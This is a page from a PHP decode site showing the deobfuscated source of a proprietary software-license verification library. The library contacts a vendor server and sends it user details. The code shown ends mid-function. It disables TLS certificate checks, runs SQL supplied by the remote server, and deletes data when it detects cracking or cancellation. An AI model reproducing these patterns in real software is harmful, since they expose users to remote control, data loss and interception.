Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php /* * Copyright (C) Incevio Systems, Inc - All Rights Reserved * Unauthorized copy..

Decoded Output download

<?php 
/* 
* Copyright (C) Incevio Systems, Inc - All Rights Reserved 
* Unauthorized copying of this file, via any medium is strictly prohibited 
* Proprietary and confidential 
* Written by Munna Khan <[email protected]>, September 2018 
*/ 
function aplCustomEncrypt($string, $key) 
{ 
    $encrypted_string = null; 
    if (!(!empty($string) && !empty($key))) { 
        goto BzjF3; 
    } 
    $iv = openssl_random_pseudo_bytes(openssl_cipher_iv_length("aes-256-cbc")); 
    $encrypted_string = openssl_encrypt($string, "aes-256-cbc", $key, 0, $iv); 
    $encrypted_string = base64_encode($encrypted_string . "::" . $iv); 
    BzjF3: 
    return $encrypted_string; 
} 
 
function aplCustomDecrypt($string, $key) 
{ 
    $decrypted_string = null; 
    if (!(!empty($string) && !empty($key))) { 
        goto shs5O; 
    } 
    $string = base64_decode($string); 
    if (!stristr($string, "::")) { 
        goto E1OdL; 
    } 
    $string_iv_array = explode("::", $string, 2); 
    if (!(!empty($string_iv_array) && count($string_iv_array) == 2)) { 
        goto lVitP; 
    } 
    list($encrypted_string, $iv) = $string_iv_array; 
    $decrypted_string = openssl_decrypt($encrypted_string, "aes-256-cbc", $key, 0, $iv); 
    lVitP: E1OdL: shs5O: 
    return $decrypted_string; 
} 
 
function aplValidateIntegerValue($number, $min_value = 0, $max_value = INF) 
{ 
    $result = false; 
    if (!(!is_float($number) && filter_var($number, FILTER_VALIDATE_INT, array("options" => array("min_range" => $min_value, "max_range" => $max_value))) !== false)) { 
        goto LLUNW; 
    } 
    $result = true; 
    LLUNW: 
    return $result; 
} 
 
function aplValidateRawDomain($url) 
{ 
    $result = false; 
    if (empty($url)) { 
        goto oyXKx; 
    } 
    if (preg_match("/^[a-z0-9-.]+\.[a-z\.]{2,7}$/", strtolower($url))) { 
        goto bZLsK; 
    } 
    $result = false; 
    goto IoKSG; 
    bZLsK: 
    $result = true; 
    IoKSG: oyXKx: 
    return $result; 
} 
 
function aplGetCurrentUrl($remove_last_slash = null) 
{ 
    $protocol = "http"; 
    $host = null; 
    $script = null; 
    $params = null; 
    $current_url = null; 
    if (!(isset($_SERVER["HTTPS"]) && $_SERVER["HTTPS"] !== "off" || isset($_SERVER["HTTP_X_FORWARDED_PROTO"]) && $_SERVER["HTTP_X_FORWARDED_PROTO"] == "https")) { 
        goto ccmJf; 
    } 
    $protocol = "https"; 
    ccmJf: 
    if (!isset($_SERVER["HTTP_HOST"])) { 
        goto sk3V6; 
    } 
    $host = $_SERVER["HTTP_HOST"]; 
    sk3V6: 
    if (!isset($_SERVER["SCRIPT_NAME"])) { 
        goto Mj2EI; 
    } 
    $script = $_SERVER["SCRIPT_NAME"]; 
    Mj2EI: 
    if (!isset($_SERVER["QUERY_STRING"])) { 
        goto csXqc; 
    } 
    $params = $_SERVER["QUERY_STRING"]; 
    csXqc: 
    if (!(!empty($protocol) && !empty($host) && !empty($script))) { 
        goto iXYT0; 
    } 
    $current_url = $protocol . "://" . $host . $script; 
    if (empty($params)) { 
        goto MeIps; 
    } 
    $current_url .= "?" . $params; 
    MeIps: 
    if (!($remove_last_slash == 1)) { 
        goto ios8D; 
    } 
    uF7Le: 
    if (!(substr($current_url, -1) == "/")) { 
        goto qJk1N; 
    } 
    $current_url = substr($current_url, 0, -1); 
    goto uF7Le; 
    qJk1N: ios8D: iXYT0: 
    return $current_url; 
} 
 
function aplGetRawDomain($url) 
{ 
    $raw_domain = null; 
    if (empty($url)) { 
        goto gNbkP; 
    } 
    $url_array = parse_url($url); 
    if (!empty($url_array["scheme"])) { 
        goto vpaVN; 
    } 
    $url = "http://" . $url; 
    $url_array = parse_url($url); 
    vpaVN: 
    if (empty($url_array["host"])) { 
        goto WnM6P; 
    } 
    $raw_domain = $url_array["host"]; 
    $raw_domain = trim(str_ireplace("www.", '', filter_var($raw_domain, FILTER_SANITIZE_URL))); 
    WnM6P: gNbkP: 
    return $raw_domain; 
} 
 
function aplGetRootUrl($url, $remove_scheme, $remove_www, $remove_path, $remove_last_slash) 
{ 
    if (!filter_var($url, FILTER_VALIDATE_URL)) { 
        goto kEop1; 
    } 
    $url_array = parse_url($url); 
    $url = str_ireplace($url_array["scheme"] . "://", '', $url); 
    if ($remove_path == 1) { 
        goto fQe_b; 
    } 
    $last_slash_position = strripos($url, "/"); 
    if (!($last_slash_position > 0)) { 
        goto zuw0h; 
    } 
    $url = substr($url, 0, $last_slash_position + 1); 
    zuw0h: 
    goto K1WFz; 
    fQe_b: 
    $first_slash_position = stripos($url, "/"); 
    if (!($first_slash_position > 0)) { 
        goto zR5Kt; 
    } 
    $url = substr($url, 0, $first_slash_position + 1); 
    zR5Kt: K1WFz: 
    if (!($remove_scheme != 1)) { 
        goto Bgqol; 
    } 
    $url = $url_array["scheme"] . "://" . $url; 
    Bgqol: 
    if (!($remove_www == 1)) { 
        goto nzRtk; 
    } 
    $url = str_ireplace("www.", '', $url); 
    nzRtk: 
    if (!($remove_last_slash == 1)) { 
        goto BJ9U2; 
    } 
    n5D1P: 
    if (!(substr($url, -1) == "/")) { 
        goto KR24s; 
    } 
    $url = substr($url, 0, -1); 
    goto n5D1P; 
    KR24s: BJ9U2: kEop1: 
    return trim($url); 
} 
 
function aplCustomPost($url, $post_info = null, $refer = null) 
{ 
    $user_agent = "phpmillion cURL"; 
    $connect_timeout = 10; 
    $server_response_array = array(); 
    $formatted_headers_array = array(); 
    if (!(filter_var($url, FILTER_VALIDATE_URL) && !empty($post_info))) { 
        goto cp5wk; 
    } 
    if (!(empty($refer) || !filter_var($refer, FILTER_VALIDATE_URL))) { 
        goto CKq25; 
    } 
    $refer = $url; 
    CKq25: 
    $ch = curl_init(); 
    curl_setopt($ch, CURLOPT_URL, $url); 
    curl_setopt($ch, CURLOPT_USERAGENT, $user_agent); 
    curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $connect_timeout); 
    curl_setopt($ch, CURLOPT_TIMEOUT, $connect_timeout); 
    curl_setopt($ch, CURLOPT_REFERER, $refer); 
    curl_setopt($ch, CURLOPT_POST, 1); 
    curl_setopt($ch, CURLOPT_POSTFIELDS, $post_info); 
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0); 
    curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0); 
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); 
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); 
    curl_setopt($ch, CURLOPT_MAXREDIRS, 10); 
    curl_setopt($ch, CURLOPT_HEADERFUNCTION, function ($curl, $header) use (&$formatted_headers_array) { 
        $len = strlen($header); 
        $header = explode(":", $header, 2); 
        if (!(count($header) < 2)) { 
            goto RfJ49; 
        } 
        return $len; 
        RfJ49: 
        $name = strtolower(trim($header[0])); 
        $formatted_headers_array[$name] = trim($header[1]); 
        return $len; 
    }); 
    $result = curl_exec($ch); 
    $curl_error = curl_error($ch); 
    curl_close($ch); 
    $server_response_array["headers"] = $formatted_headers_array; 
    $server_response_array["error"] = $curl_error; 
    $server_response_array["body"] = $result; 
    cp5wk: 
    return $server_response_array; 
} 
 
function aplVerifyDateTime($datetime, $format) 
{ 
    $result = false; 
    if (!(!empty($datetime) && !empty($format))) { 
        goto nguIc; 
    } 
    $datetime = DateTime::createFromFormat($format, $datetime); 
    $errors = DateTime::getLastErrors(); 
    if (!($datetime && empty($errors["warning_count"]))) { 
        goto QquZj; 
    } 
    $result = true; 
    QquZj: nguIc: 
    return $result; 
} 
 
function aplGetDaysBetweenDates($date_from, $date_to) 
{ 
    $number_of_days = 0; 
    if (!(aplVerifyDateTime($date_from, "Y-m-d") && aplVerifyDateTime($date_to, "Y-m-d"))) { 
        goto vdxBB; 
    } 
    $date_to = new DateTime($date_to); 
    $date_from = new DateTime($date_from); 
    $number_of_days = $date_from->diff($date_to)->format("%a"); 
    vdxBB: 
    return $number_of_days; 
} 
 
function aplParseXmlTags($content, $tag_name) 
{ 
    $parsed_value = null; 
    if (!(!empty($content) && !empty($tag_name))) { 
        goto XmQr9; 
    } 
    preg_match_all("/<" . preg_quote($tag_name, "/") . ">(.*?)<\/" . preg_quote($tag_name, "/") . ">/ims", $content, $output_array, PREG_SET_ORDER); 
    if (empty($output_array[0][1])) { 
        goto U2apD; 
    } 
    $parsed_value = trim($output_array[0][1]); 
    U2apD: XmQr9: 
    return $parsed_value; 
} 
 
function aplParseServerNotifications($content_array, $ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE, $product = Null) 
{ 
    $notifications_array = array(); 
    if (!empty($content_array)) { 
        goto JumyO; 
    } 
    $notifications_array["notification_case"] = "notification_no_connection"; 
    $notifications_array["notification_text"] = APL_NOTIFICATION_NO_CONNECTION; 
    goto lT9i4; 
    JumyO: 
    if (!empty($content_array["headers"]["notification_server_signature"]) && aplVerifyServerSignature($content_array["headers"]["notification_server_signature"], $ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE, $product)) { 
        goto TpORv; 
    } 
    $notifications_array["notification_case"] = "notification_invalid_response"; 
    $notifications_array["notification_text"] = APL_NOTIFICATION_INVALID_RESPONSE; 
    goto YflnD; 
    TpORv: 
    $notifications_array["notification_case"] = $content_array["headers"]["notification_case"]; 
    $notifications_array["notification_text"] = $content_array["headers"]["notification_text"]; 
    if (empty($content_array["headers"]["notification_data"])) { 
        goto VoikV; 
    } 
    $notifications_array["notification_data"] = json_decode($content_array["headers"]["notification_data"], true); 
    VoikV: YflnD: lT9i4: 
    return $notifications_array; 
} 
 
function aplGenerateScriptSignature($ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE, $product = Null) 
{ 
    $script_signature = null; 
    $root_ips_array = gethostbynamel(aplGetRawDomain(APL_ROOT_URL)); 
    $product = $product == Null ? APL_PRODUCT_ID : $product; 
    if (!(!empty($ROOT_URL) && isset($CLIENT_EMAIL) && isset($LICENSE_CODE) && !empty($root_ips_array))) { 
        goto W0E43; 
    } 
    $script_signature = hash("sha256", gmdate("Y-m-d") . $ROOT_URL . $CLIENT_EMAIL . $LICENSE_CODE . $product . implode('', $root_ips_array)); 
    W0E43: 
    return $script_signature; 
} 
 
function aplVerifyServerSignature($notification_server_signature, $ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE, $product = Null) 
{ 
    $result = false; 
    $root_ips_array = gethostbynamel(aplGetRawDomain(APL_ROOT_URL)); 
    $product = $product == Null ? APL_PRODUCT_ID : $product; 
    if (!(!empty($notification_server_signature) && !empty($ROOT_URL) && isset($CLIENT_EMAIL) && isset($LICENSE_CODE) && !empty($root_ips_array))) { 
        goto bRqNu; 
    } 
    if (!(hash("sha256", implode('', $root_ips_array) . $product . $LICENSE_CODE . $CLIENT_EMAIL . $ROOT_URL . gmdate("Y-m-d")) == $notification_server_signature)) { 
        goto h8DsE; 
    } 
    $result = true; 
    h8DsE: bRqNu: 
    return $result; 
} 
 
function aplCheckSettings() 
{ 
    $notifications_array = array(); 
    if (!(empty(APL_SALT) || APL_SALT == "some_random_text")) { 
        goto uTfMB; 
    } 
    $notifications_array[] = APL_CORE_NOTIFICATION_INVALID_SALT; 
    uTfMB: 
    if (!(!filter_var(APL_ROOT_URL, FILTER_VALIDATE_URL) || !ctype_alnum(substr(APL_ROOT_URL, -1)))) { 
        goto XRqG3; 
    } 
    $notifications_array[] = APL_CORE_NOTIFICATION_INVALID_ROOT_URL; 
    XRqG3: 
    if (filter_var(APL_PRODUCT_ID, FILTER_VALIDATE_INT)) { 
        goto GtPLQ; 
    } 
    $notifications_array[] = APL_CORE_NOTIFICATION_INVALID_PRODUCT_ID; 
    GtPLQ: 
    if (aplValidateIntegerValue(APL_DAYS, 1, 365)) { 
        goto DregB; 
    } 
    $notifications_array[] = APL_CORE_NOTIFICATION_INVALID_VERIFICATION_PERIOD; 
    DregB: 
    if (!(APL_STORAGE != "DATABASE" && APL_STORAGE != "FILE")) { 
        goto hh3BJ; 
    } 
    $notifications_array[] = APL_CORE_NOTIFICATION_INVALID_STORAGE; 
    hh3BJ: 
    if (!(APL_STORAGE == "DATABASE" && !ctype_alnum(str_ireplace(array("_"), '', APL_DATABASE_TABLE)))) { 
        goto C4tBE; 
    } 
    $notifications_array[] = APL_CORE_NOTIFICATION_INVALID_TABLE; 
    C4tBE: 
    if (!(APL_STORAGE == "FILE" && !@is_writable(APL_DIRECTORY . "/" . APL_LICENSE_FILE_LOCATION))) { 
        goto vWDU7; 
    } 
    $notifications_array[] = APL_CORE_NOTIFICATION_INVALID_LICENSE_FILE; 
    vWDU7: 
    if (!(!empty(APL_ROOT_IP) && !filter_var(APL_ROOT_IP, FILTER_VALIDATE_IP))) { 
        goto MvcTo; 
    } 
    $notifications_array[] = APL_CORE_NOTIFICATION_INVALID_ROOT_IP; 
    MvcTo: 
    if (!(!empty(APL_ROOT_IP) && !in_array(APL_ROOT_IP, gethostbynamel(aplGetRawDomain(APL_ROOT_URL))))) { 
        goto A40m6; 
    } 
    $notifications_array[] = APL_CORE_NOTIFICATION_INVALID_DNS; 
    A40m6: 
    if (!(defined("APL_ROOT_NAMESERVERS") && !empty(APL_ROOT_NAMESERVERS))) { 
        goto SFidQ; 
    } 
    foreach (APL_ROOT_NAMESERVERS as $nameserver) { 
        if (aplValidateRawDomain($nameserver)) { 
            goto g7CpK; 
        } 
        $notifications_array[] = APL_CORE_NOTIFICATION_INVALID_ROOT_NAMESERVERS; 
        goto RUX0B; 
        g7CpK: wGVYR: 
    } 
    RUX0B: SFidQ: 
    if (!(defined("APL_ROOT_NAMESERVERS") && !empty(APL_ROOT_NAMESERVERS))) { 
        goto eur2Q; 
    } 
    $apl_root_nameservers_array = APL_ROOT_NAMESERVERS; 
    $fetched_nameservers_array = array(); 
    $dns_records_array = dns_get_record(aplGetRawDomain(APL_ROOT_URL), DNS_NS); 
    foreach ($dns_records_array as $record) { 
        $fetched_nameservers_array[] = $record["target"]; 
        RLFGR: 
    } 
    OVF_L: 
    $apl_root_nameservers_array = array_map("strtolower", $apl_root_nameservers_array); 
    $fetched_nameservers_array = array_map("strtolower", $fetched_nameservers_array); 
    sort($apl_root_nameservers_array); 
    sort($fetched_nameservers_array); 
    if (!($apl_root_nameservers_array != $fetched_nameservers_array)) { 
        goto AoL8w; 
    } 
    $notifications_array[] = APL_CORE_NOTIFICATION_INVALID_DNS; 
    AoL8w: eur2Q: 
    return $notifications_array; 
} 
 
function aplParseLicenseFile() 
{ 
    $license_data_array = array(); 
    if (!@is_readable(APL_DIRECTORY . "/" . APL_LICENSE_FILE_LOCATION)) { 
        goto oT8jM; 
    } 
    $file_content = file_get_contents(APL_DIRECTORY . "/" . APL_LICENSE_FILE_LOCATION); 
    preg_match_all("/<([A-Z_]+)>(.*?)<\/([A-Z_]+)>/", $file_content, $matches, PREG_SET_ORDER); 
    if (empty($matches)) { 
        goto zIKvg; 
    } 
    foreach ($matches as $value) { 
        if (!(!empty($value[1]) && $value[1] == $value[3])) { 
            goto jQ_n6; 
        } 
        $license_data_array[$value[1]] = $value[2]; 
        jQ_n6: YuHQb: 
    } 
    tRDKH: zIKvg: oT8jM: 
    return $license_data_array; 
} 
 
function aplGetLicenseData($MYSQLI_LINK = null) 
{ 
    $settings_row = array(); 
    if (!(APL_STORAGE == "DATABASE")) { 
        goto FVL7o; 
    } 
    $table_exist = @mysqli_query($MYSQLI_LINK, "SHOW TABLES LIKE '" . APL_DATABASE_TABLE . "'"); 
    if (!@mysqli_fetch_assoc($table_exist)) { 
        goto tZ2Yt; 
    } 
    $settings_results = @mysqli_query($MYSQLI_LINK, "SELECT * FROM " . APL_DATABASE_TABLE); 
    $settings_row = @mysqli_fetch_assoc($settings_results); 
    tZ2Yt: FVL7o: 
    if (!(APL_STORAGE == "FILE")) { 
        goto VKtMl; 
    } 
    $settings_row = aplParseLicenseFile(); 
    VKtMl: 
    return $settings_row; 
} 
 
function aplCheckConnection() 
{ 
    $notifications_array = array(); 
    $content_array = aplCustomPost(APL_ROOT_URL . "/apl_callbacks/connection_test.php", "product_id=" . rawurlencode(APL_PRODUCT_ID) . "&connection_hash=" . rawurlencode(hash("sha256", "connection_test"))); 
    if (!empty($content_array)) { 
        goto PL9MC; 
    } 
    $notifications_array["notification_case"] = "notification_no_connection"; 
    $notifications_array["notification_text"] = APL_NOTIFICATION_NO_CONNECTION; 
    goto EWJyS; 
    PL9MC: 
    if (!($content_array["body"] != "<connection_test>OK</connection_test>")) { 
        goto Huyrf; 
    } 
    $notifications_array["notification_case"] = "notification_invalid_response"; 
    $notifications_array["notification_text"] = APL_NOTIFICATION_INVALID_RESPONSE; 
    Huyrf: EWJyS: 
    return $notifications_array; 
} 
 
function aplCheckData($MYSQLI_LINK = null) 
{ 
    $error_detected = 0; 
    $cracking_detected = 0; 
    $data_check_result = false; 
    extract(aplGetLicenseData($MYSQLI_LINK)); 
    if (!(!empty($ROOT_URL) && !empty($INSTALLATION_HASH) && !empty($INSTALLATION_KEY) && !empty($LCD) && !empty($LRD))) { 
        goto Pok2f; 
    } 
    $LCD = aplCustomDecrypt($LCD, APL_SALT . $INSTALLATION_KEY); 
    $LRD = aplCustomDecrypt($LRD, APL_SALT . $INSTALLATION_KEY); 
    if (!(!filter_var($ROOT_URL, FILTER_VALIDATE_URL) || !ctype_alnum(substr($ROOT_URL, -1)))) { 
        goto Znv18; 
    } 
    $error_detected = 1; 
    Znv18: 
    if (!(filter_var(aplGetCurrentUrl(), FILTER_VALIDATE_URL) && stristr(aplGetRootUrl(aplGetCurrentUrl(), 1, 1, 0, 1), aplGetRootUrl("{$ROOT_URL}/", 1, 1, 0, 1)) === false)) { 
        goto Y2QUe; 
    } 
    $error_detected = 1; 
    Y2QUe: 
    if (!(empty($INSTALLATION_HASH) || $INSTALLATION_HASH != hash("sha256", $ROOT_URL . $CLIENT_EMAIL . $LICENSE_CODE))) { 
        goto MPNBk; 
    } 
    $error_detected = 1; 
    MPNBk: 
    if (!(empty($INSTALLATION_KEY) || !password_verify($LRD, aplCustomDecrypt($INSTALLATION_KEY, APL_SALT . $ROOT_URL)))) { 
        goto PHzYC; 
    } 
    $error_detected = 1; 
    PHzYC: 
    if (aplVerifyDateTime($LCD, "Y-m-d")) { 
        goto lVzUn; 
    } 
    $error_detected = 1; 
    lVzUn: 
    if (aplVerifyDateTime($LRD, "Y-m-d")) { 
        goto heWI8; 
    } 
    $error_detected = 1; 
    heWI8: 
    if (!(aplVerifyDateTime($LCD, "Y-m-d") && $LCD > date("Y-m-d", strtotime("+1 day")))) { 
        goto Ks2ip; 
    } 
    $error_detected = 1; 
    $cracking_detected = 1; 
    Ks2ip: 
    if (!(aplVerifyDateTime($LRD, "Y-m-d") && $LRD > date("Y-m-d", strtotime("+1 day")))) { 
        goto Cc1s8; 
    } 
    $error_detected = 1; 
    $cracking_detected = 1; 
    Cc1s8: 
    if (!(aplVerifyDateTime($LCD, "Y-m-d") && aplVerifyDateTime($LRD, "Y-m-d") && $LCD > $LRD)) { 
        goto cymRz; 
    } 
    $error_detected = 1; 
    $cracking_detected = 1; 
    cymRz: 
    if (!($cracking_detected == 1 && APL_DELETE_CRACKED == "YES")) { 
        goto xpzqR; 
    } 
    aplDeleteData($MYSQLI_LINK); 
    xpzqR: 
    if (!($error_detected != 1 && $cracking_detected != 1)) { 
        goto lhbr1; 
    } 
    $data_check_result = true; 
    lhbr1: Pok2f: 
    return $data_check_result; 
} 
 
function aplVerifyEnvatoPurchase($LICENSE_CODE = null) 
{ 
    $notifications_array = array(); 
    $content_array = aplCustomPost(APL_ROOT_URL . "/apl_callbacks/verify_envato_purchase.php", "product_id=" . rawurlencode(APL_PRODUCT_ID) . "&license_code=" . rawurlencode($LICENSE_CODE) . "&connection_hash=" . rawurlencode(hash("sha256", "verify_envato_purchase"))); 
    if (!empty($content_array)) { 
        goto op_aD; 
    } 
    $notifications_array["notification_case"] = "notification_no_connection"; 
    $notifications_array["notification_text"] = APL_NOTIFICATION_NO_CONNECTION; 
    goto E0Aj1; 
    op_aD: 
    if (!($content_array["body"] != "<verify_envato_purchase>OK</verify_envato_purchase>")) { 
        goto A61sP; 
    } 
    $notifications_array["notification_case"] = "notification_invalid_response"; 
    $notifications_array["notification_text"] = APL_NOTIFICATION_INVALID_RESPONSE; 
    A61sP: E0Aj1: 
    return $notifications_array; 
} 
 
function incevioVerify($ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE, $MYSQLI_LINK = null) 
{ 
    $notifications_array = array(); 
    $apl_core_notifications = aplCheckSettings(); 
    if (empty($apl_core_notifications)) { 
        goto WeJEx; 
    } 
    $notifications_array["notification_case"] = "notification_script_corrupted"; 
    $notifications_array["notification_text"] = implode("; ", $apl_core_notifications); 
    goto jexqj; 
    WeJEx: 
    if (!empty(aplGetLicenseData($MYSQLI_LINK)) && is_array(aplGetLicenseData($MYSQLI_LINK))) { 
        goto mMb9_; 
    } 
    $INSTALLATION_HASH = hash("sha256", $ROOT_URL . $CLIENT_EMAIL . $LICENSE_CODE); 
    $post_info = "product_id=" . rawurlencode(APL_PRODUCT_ID) . "&client_email=" . rawurlencode($CLIENT_EMAIL) . "&license_code=" . rawurlencode($LICENSE_CODE) . "&root_url=" . rawurlencode($ROOT_URL) . "&installation_hash=" . rawurlencode($INSTALLATION_HASH) . "&license_signature=" . rawurlencode(aplGenerateScriptSignature($ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE)); 
    $content_array = aplCustomPost(APL_ROOT_URL . "/apl_callbacks/license_install.php", $post_info, $ROOT_URL); 
    $notifications_array = aplParseServerNotifications($content_array, $ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE); 
    if (!($notifications_array["notification_case"] == "notification_license_ok")) { 
        goto kQ9VA; 
    } 
    $INSTALLATION_KEY = aplCustomEncrypt(password_hash(date("Y-m-d"), PASSWORD_DEFAULT), APL_SALT . $ROOT_URL); 
    $LCD = aplCustomEncrypt(date("Y-m-d", strtotime("-" . APL_DAYS . " days")), APL_SALT . $INSTALLATION_KEY); 
    $LRD = aplCustomEncrypt(date("Y-m-d"), APL_SALT . $INSTALLATION_KEY); 
    if (!(APL_STORAGE == "DATABASE")) { 
        goto tC_ml; 
    } 
    $content_array = aplCustomPost(APL_ROOT_URL . "/apl_callbacks/license_scheme.php", $post_info, $ROOT_URL); 
    $notifications_array = aplParseServerNotifications($content_array, $ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE); 
    if (!(!empty($notifications_array["notification_data"]) && !empty($notifications_array["notification_data"]["scheme_query"]))) { 
        goto jTPya; 
    } 
    $mysql_bad_array = array("%APL_DATABASE_TABLE%", "%ROOT_URL%", "%CLIENT_EMAIL%", "%LICENSE_CODE%", "%LCD%", "%LRD%", "%INSTALLATION_KEY%", "%INSTALLATION_HASH%"); 
    $mysql_good_array = array(APL_DATABASE_TABLE, $ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE, $LCD, $LRD, $INSTALLATION_KEY, $INSTALLATION_HASH); 
    $license_scheme = str_replace($mysql_bad_array, $mysql_good_array, $notifications_array["notification_data"]["scheme_query"]); 
    mysqli_multi_query($MYSQLI_LINK, $license_scheme) or die(mysqli_error($MYSQLI_LINK)); 
    jTPya: tC_ml: 
    if (!(APL_STORAGE == "FILE")) { 
        goto hx2hn; 
    } 
    $handle = @fopen(APL_DIRECTORY . "/" . APL_LICENSE_FILE_LOCATION, "w+"); 
    $fwrite = @fwrite($handle, "<ROOT_URL>{$ROOT_URL}</ROOT_URL><CLIENT_EMAIL>{$CLIENT_EMAIL}</CLIENT_EMAIL><LICENSE_CODE>{$LICENSE_CODE}</LICENSE_CODE><LCD>{$LCD}</LCD><LRD>{$LRD}</LRD><INSTALLATION_KEY>{$INSTALLATION_KEY}</INSTALLATION_KEY><INSTALLATION_HASH>{$INSTALLATION_HASH}</INSTALLATION_HASH>"); 
    if (!($fwrite === false)) { 
        goto VLhEm; 
    } 
    echo APL_NOTIFICATION_LICENSE_FILE_WRITE_ERROR; 
    exit; 
    VLhEm: 
    @fclose($handle); 
    hx2hn: kQ9VA: 
    goto A9jEj; 
    mMb9_: 
    $notifications_array["notification_case"] = "notification_already_installed"; 
    $notifications_array["notification_text"] = APL_NOTIFICATION_SCRIPT_ALREADY_INSTALLED; 
    A9jEj: jexqj: 
    return $notifications_array; 
} 
 
function preparePackageInstallation($installable) 
{ 
    $notifications_array = array(); 
    $apl_core_notifications = aplCheckSettings(); 
    if (!empty($apl_core_notifications)) { 
        goto W4nHY; 
    } 
    $MYSQLI_LINK = getMysqliConnection(); 
    $core_license = aplGetLicenseData($MYSQLI_LINK); 
    if (!(empty($core_license) || !is_array($core_license))) { 
        goto rm0IT; 
    } 
    throw new \Exception("Core script license " . "validation" . " failed! Please contact" . " support for help."); 
    rm0IT: 
    $CLIENT_EMAIL = $core_license["CLIENT_EMAIL"]; 
    $LICENSE_CODE = $installable["license_key"]; 
    $ROOT_URL = config("app.url"); 
    $INSTALLATION_HASH = hash("sha256", $ROOT_URL . $CLIENT_EMAIL . $LICENSE_CODE); 
    $post_info = "product_id=" . rawurlencode($installable["id"]) . "&client_email=" . rawurlencode($CLIENT_EMAIL) . "&license_code=" . rawurlencode($LICENSE_CODE) . "&root_url=" . rawurlencode($ROOT_URL) . "&installation_hash=" . rawurlencode($INSTALLATION_HASH) . "&license_signature=" . rawurlencode(aplGenerateScriptSignature($ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE, $installable["id"])); 
    $content_array = aplCustomPost(APL_ROOT_URL . "/apl_callbacks/license_install.php", $post_info, $ROOT_URL); 
    $notifications_array = aplParseServerNotifications($content_array, $ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE, $installable["id"]); 
    if ($notifications_array["notification_case"] == "notification_license_ok") { 
        goto XkdB7; 
    } 
    if (empty($notifications_array["notification_text"])) { 
        goto hb8X3; 
    } 
    throw new \Exception("License " . "validation" . " failed! " . $notifications_array["notification_text"]); 
    hb8X3: 
    goto O7bkd; 
    XkdB7: 
    $INSTALLATION_KEY = aplCustomEncrypt(password_hash(date("Y-m-d"), PASSWORD_DEFAULT), APL_SALT . $ROOT_URL); 
    $LCD = aplCustomEncrypt(date("Y-m-d", strtotime("-" . APL_DAYS . " days")), APL_SALT . $INSTALLATION_KEY); 
    $LRD = aplCustomEncrypt(date("Y-m-d"), APL_SALT . $INSTALLATION_KEY); 
    $content_array = aplCustomPost(APL_ROOT_URL . "/apl_callbacks/license_scheme.php", $post_info, $ROOT_URL); 
    $notifications_array = aplParseServerNotifications($content_array, $ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE, $installable["id"]); 
    if (!(!empty($notifications_array["notification_data"]) && !empty($notifications_array["notification_data"]["scheme_query"]))) { 
        goto doUx3; 
    } 
    return ["installation_key" => $INSTALLATION_KEY, "installation_hash" => $INSTALLATION_HASH, "lcd" => $LCD, "lrd" => $LRD]; 
    doUx3: O7bkd: W4nHY: 
    throw new \Exception("License " . "validation" . " failed! Please contact" . " support for help."); 
} 
 
function incevioAutoloadHelpers($MYSQLI_LINK = null, $FORCE_VERIFICATION = 0) 
{ 
    $notifications_array = array(); 
    $update_lrd_value = 0; 
    $update_lcd_value = 0; 
    $updated_records = 0; 
    $apl_core_notifications = aplCheckSettings(); 
    if (empty($apl_core_notifications)) { 
        goto F5jZL; 
    } 
    $notifications_array["notification_case"] = "notification_script_corrupted"; 
    $notifications_array["notification_text"] = implode("; ", $apl_core_notifications); 
    goto RlofD; 
    F5jZL: 
    if (aplCheckData($MYSQLI_LINK)) { 
        goto PJ1D8; 
    } 
    $notifications_array["notification_case"] = "notification_license_corrupted"; 
    $notifications_array["notification_text"] = APL_NOTIFICATION_LICENSE_CORRUPTED; 
    goto bCqPn; 
    PJ1D8: 
    extract(aplGetLicenseData($MYSQLI_LINK)); 
    if (aplGetDaysBetweenDates(aplCustomDecrypt($LCD, APL_SALT . $INSTALLATION_KEY), date("Y-m-d")) < APL_DAYS && aplCustomDecrypt($LCD, APL_SALT . $INSTALLATION_KEY) <= date("Y-m-d") && aplCustomDecrypt($LRD, APL_SALT . $INSTALLATION_KEY) <= date("Y-m-d") && $FORCE_VERIFICATION === 0) { 
        goto n268Y; 
    } 
    $post_info = "product_id=" . rawurlencode(APL_PRODUCT_ID) . "&client_email=" . rawurlencode($CLIENT_EMAIL) . "&license_code=" . rawurlencode($LICENSE_CODE) . "&root_url=" . rawurlencode($ROOT_URL) . "&installation_hash=" . rawurlencode($INSTALLATION_HASH) . "&license_signature=" . rawurlencode(aplGenerateScriptSignature($ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE)); 
    $content_array = aplCustomPost(APL_ROOT_URL . "/apl_callbacks/license_verify.php", $post_info, $ROOT_URL); 
    $notifications_array = aplParseServerNotifications($content_array, $ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE); 
    if (!($notifications_array["notification_case"] == "notification_license_ok")) { 
        goto fltTs; 
    } 
    $update_lcd_value = 1; 
    fltTs: 
    if (!($notifications_array["notification_case"] == "notification_license_cancelled" && APL_DELETE_CANCELLED == "YES")) { 
        goto XQZA0; 
    } 
    aplDeleteData($MYSQLI_LINK); 
    XQZA0: 
    goto oCRtN; 
    n268Y: 
    $notifications_array["notification_case"] = "notification_license_ok"; 
    $notifications_array["notification_text"] = APL_NOTIFICATION_BYPASS_VERIFICATION; 
    oCRtN: 
    if (!(aplCustomDecrypt($LRD, APL_SALT . $INSTALLATION_KEY) < date("Y-m-d"))) { 
        goto li8F3; 
    } 
    $update_lrd_value = 1; 
    li8F3: 
    if (!($update_lrd_value == 1 || $update_lcd_value == 1)) { 
        goto xcI0Z; 
    } 
